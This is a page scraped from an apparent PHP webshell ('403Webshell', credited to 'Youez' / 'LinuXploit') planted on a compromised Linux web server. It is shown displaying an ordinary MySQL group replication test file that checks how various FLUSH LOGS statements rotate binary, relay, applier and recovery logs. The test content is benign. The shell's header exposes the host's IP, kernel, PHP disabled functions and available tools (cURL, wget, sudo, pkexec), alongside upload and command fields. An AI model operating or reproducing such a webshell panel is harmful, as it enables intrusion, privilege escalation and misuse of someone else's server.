403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.71.81.54
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_flush_logs.test
################################################################################
# Test to check if the flush command works fine for Group Replication.
#
# Test:
# 0. The test requires two servers: M1 and M2.
# 1. Setup a GROUP with two members ONLINE.
# 2. Test 'flush error logs' statement on M1. It should support.
# 3. Test 'flush relay logs' statement on M1. It should support.
# 4. Test 'flush slow logs' statement on M1. It should support.
# 5. Test 'flush general logs' statement on M1. It should support.
# 6. Test 'flush engine logs' statement on M1. It should support.
# For each 'flush..' command above:-
#  - Check error log file exists on M1.
#  - Make sure binary logs was not flushed on M1.
#  - Make sure applier logs was not flushed on M1.
#  - Make sure recovery logs was not flushed on M2.
#  - Make sure applier logs was not flushed on M2.
#  - Make sure binary logs was not flushed on M2.
#  - Test that replication is working fine between the members.
# 7. Test 'flush binary logs' statement on M1. It should support.
#  - Make sure binary logs is flushed on M1.
#  - Make sure that the 'show binary logs' statement shows the correct data.
#  - Make sure applier logs was not flushed on M1.
#  - Make sure recovery logs was not flushed on M2.
#  - Make sure applier logs was not flushed on M2.
#  - Make sure binary logs was not flushed on M2.
#  - Test that replication is working fine between the members.
# 8. Test if support to combine all kinds of logs into one statement on M1. It
#    should support 'flush error logs, relay logs'.
#  - Make sure binary logs was not flushed on M1.
#  - Make sure applier logs was not flushed on M1.
#  - Make sure recovery logs was not flushed on M2.
#  - Make sure applier logs was not flushed on M2.
#  - Make sure binary logs was not flushed on M2.
#  - Test that replication is working fine between the members.
# 9. Test if 'flush logs' statement works fine and flush all the logs on M1.
#  - Make sure binary logs is flushed on M1.
#  - Make sure applier logs was not flushed on M1.
#  - Make sure recovery logs was not flushed on M2.
#  - Make sure applier logs was not flushed on M2.
#  - Make sure binary logs was not flushed on M2.
#  - Execute 'flush logs' on M2:
#  - Make sure binary logs is flushed on M2.
#  - Make sure applier logs was not flushed on M2.
#  - Make sure applier logs was not flushed on M1.
#  - Make sure binary logs was not flushed on M1.
#  - Test that replication is working fine between the members.
################################################################################
--source ../inc/have_group_replication_plugin.inc
--source ../inc/group_replication.inc

--connection server1

CREATE TABLE t1 (i INT PRIMARY KEY) engine= innodb;
--source include/rpl_sync.inc

--connection server1

--echo # Test if support 'flush error logs' statement.
flush error logs;

--file_exists $MYSQLTEST_VARDIR/tmp/master_log.err

--echo # Make sure binary logs was not flushed after execute 'flush error logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Make sure applier logs was not flushed after execute 'flush error logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush error logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush error logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush error logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--source include/rpl_sync.inc
--connection server1

INSERT INTO t1 VALUES(1);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(2);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 2 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc


--connection server1
--echo # Test if support 'flush relay logs' statement.
flush relay logs;

--echo # Make sure binary logs was not flushed after execute 'flush relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Make sure applier logs was not flushed after execute 'flush relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--connection server1
INSERT INTO t1 VALUES(3);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(4);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 4 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

# Test 'flush slow logs' statement.
--echo # Test if support 'flush slow logs' statement.
flush slow logs;

--echo # Make sure binary logs was not flushed after execute 'flush slow logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Make sure applier logs was not flushed after execute 'flush slow logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush slow logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush slow logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush slow logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002


# Testing if the replication is working fine between the members.

--source include/rpl_sync.inc
--connection server1
INSERT INTO t1 VALUES(5);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(6);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 6 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

--connection server1
# Test 'flush general logs' statement.
--echo # Test if support 'flush general logs' statement.
flush general logs;

--echo # Make sure binary logs was not flushed after execute 'flush general logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Make sure applier logs was not flushed after execute 'flush general logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush general logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush general logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush general logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--connection server1
INSERT INTO t1 VALUES(7);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(8);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 8 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

# Test 'flush engine logs' statement.
--echo # Test if support 'flush engine logs' statement.
flush engine logs;

--echo # Make sure binary logs was not flushed after execute 'flush engine logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Make sure applier logs was not flushed after execute 'flush engine logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush engine logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush engine logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush engine logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--connection server1
INSERT INTO t1 VALUES(9);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(10);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 10 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

--connection server1
# Test 'flush binary logs' statement.
--echo # Make sure the 'server1-bin.000002' file does not
--echo # exist before execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--connection server2
--echo # Make sure the 'server1-bin.000002' file does not
--echo # exist before execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--connection server1
--echo # Test if support 'flush binary logs' statement.
flush binary logs;

--echo # Make sure binary logs is flushed after execute 'flush binary logs' statement.
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000002

--echo # Test if it supports 'show binary logs' statement and verify that it shows the correct data

--let $binlog1= query_get_value(show binary logs, Log_name, 1)
--let $assert_text= assert that the first binary log name is server-binary-log.000001
--let $assert_cond= "$binlog1 " = "server-binary-log.000001"
--source include/assert.inc

--let $binlog2= query_get_value(show binary logs, Log_name, 2)
--let $assert_text= assert that the second binary log name is server-binary-log.000002
--let $assert_cond= "$binlog2 " = "server-binary-log.000002"
--source include/assert.inc

--echo # Make sure applier logs was not flushed after execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush binary logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--connection server1
INSERT INTO t1 VALUES(11);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(12);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 12 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

--connection server1

--echo # Test if support to combine all kinds of logs into one statement.
flush error logs, relay logs;

--file_exists $MYSQLTEST_VARDIR/tmp/master_log.err

--echo # Make sure binary logs was not flushed after execute 'flush error logs, relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000003

--echo # Make sure applier logs was not flushed after execute 'flush error logs, relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush error logs, relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush error logs, relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush error logs, relay logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

# Testing if the replication is working fine between the members.

--source include/rpl_sync.inc
--connection server1
INSERT INTO t1 VALUES(13);
--source include/rpl_sync.inc

INSERT INTO t1 VALUES(14);
--source include/rpl_sync.inc

--connection server1
--let $wait_condition= select count(*) = 14 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

--connection server2
# Test 'flush logs' statement

--connection server1

--echo # Test if 'flush logs' statement works fine and flush all the logs.
flush logs;

--file_exists $MYSQLTEST_VARDIR/tmp/master_log.err

--echo # Check 'server1-bin.000003' is created after execute 'flush logs' statement.
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000003

--echo # Make sure applier logs was not flushed after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server2

--echo # Make sure recovery logs was not flushed after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_recovery.000001

--echo # Make sure applier logs was not flushed after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--echo # Make sure binary logs was not flushed after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

--echo # Checking the "flush logs" behavior executed from the server2 side

--connection server2
flush logs;

--echo # Check 'server2-bin.000002' is created after execute 'flush logs' statement.
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/server-binary-log.000002

--echo # Check 'group_replication_applier.000002 is not created after execute 'flush logs' statement on server2.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.2/data/group_replication_applier.000002

--source include/rpl_sync.inc
--connection server1

--echo # Check 'server1-bin.000004' is not created after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/server-binary-log.000004

--echo # Check 'group_replication_applier.000002' is not created after execute 'flush logs' statement.
--error 1
--file_exists $MYSQLTEST_VARDIR/mysqld.1/data/group_replication_applier.000002

# Testing if the replication is working fine between the members.
--connection server1

INSERT INTO t1 VALUES(15);

--source include/rpl_sync.inc
INSERT INTO t1 VALUES(16);

--source include/rpl_sync.inc

--let $wait_condition= select count(*) = 16 from t1
--source include/wait_condition.inc

--let $diff_tables=server1:t1, server2:t1
--source include/diff_tables.inc

--connection server1
DROP TABLE t1;
--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit